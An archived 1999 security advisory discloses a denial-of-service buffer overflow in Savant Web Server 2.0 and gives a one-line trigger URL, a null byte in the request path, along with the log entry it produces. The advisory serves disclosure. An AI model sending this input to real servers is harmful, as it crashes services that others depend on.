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TUCoPS :: Windows Net Apps :: savant~1.txt

Savant Web Server v2.0 Local/Remote DoS attack (Win95/98/NT/2K)

Local / Remote D.o.S Attack in Savant Web Server V2.0 WIN9X / NT / 2K

USSR Advisory Code:   USSR-99026

Release Date:
December 28, 1999 [2/5]

Systems Affected:
Savant Web Server V2.0 Win9X / NT / 2K and possibly others versions.

About The Software:
Savant provides support for most modern web features and technologies,

Common Gateway Interface (CGI) 1.0 and 1.1
HTTP 0.9, 1.0, and 1.1 including keep-alive ability
Comprehensive logging in the standard NCSA format
User and group management
Password protection
Server-side image maps
Support for over 40 file types, including MP3, RealAudio, and Microsoft
Office files
XML, JavaScript, Java, and ActiveX, and more!


UssrLabs found a Local / Remote Buffer overflow,the buffer overflow is
caused by a NULL Character in the parsing Get Command rutine.

in Internet Explorer, address: Htpp://SavantServerIP/%00/

The D.O.S action is logged in, C:\Savant\Logs\general.txt, inside looks like
this one

Attacker Ip - - [20/Dec/1999:00:10:27 -0300] "GET
htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.htmlindex.html" 301 279

Do you do the w00w00?
This advisory also acts as part of w00giving. This is another contribution
to w00giving for all you w00nderful people out there. You do know what
w00giving is don't you?

Vendor Status:

Vendor   Url:
Program Url:


Noting yet :(

Eeye, Attrition, w00w00, beavuh, Rhino9, ADM, L0pht, HNN, Technotronic and

u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c h

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